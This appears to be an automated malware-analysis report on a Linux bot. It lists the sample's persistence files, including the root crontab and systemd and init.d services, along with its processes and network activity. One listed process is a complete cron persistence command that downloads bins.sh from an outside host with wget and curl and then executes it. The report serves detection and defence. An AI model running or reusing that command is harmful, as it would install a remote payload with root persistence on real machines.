Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- /bin/bash
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- sh bins.sh
- crontab -
- chmod +x bins.sh
- /bin/systemctl enable bot
- crontab -l
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.nBtcwk
- /etc/init.d/job
Deletes folders:
- /tmp/clearsigned.message.wLJMmX
- /tmp/clearsigned.message.RBJLWQ
- /tmp/clearsigned.message.xU2XcU
- /tmp/clearsigned.message.VUNbnh
Creates or modifies files:
- /self
- /proc/491/cmdline
- /dev/full
- /var/spool/cron/crontabs/tmp.nBtcwk
- /etc/init/bot.conf
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
- /etc/systemd/system/job.service
Deletes files:
- /tmp/clearsigned.message.wLJMmX
- /tmp/clearsigned.message.RBJLWQ
- /tmp/clearsigned.message.xU2XcU
- /tmp/clearsigned.message.VUNbnh
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
Establishes connection:
- 8.#.8.8:53
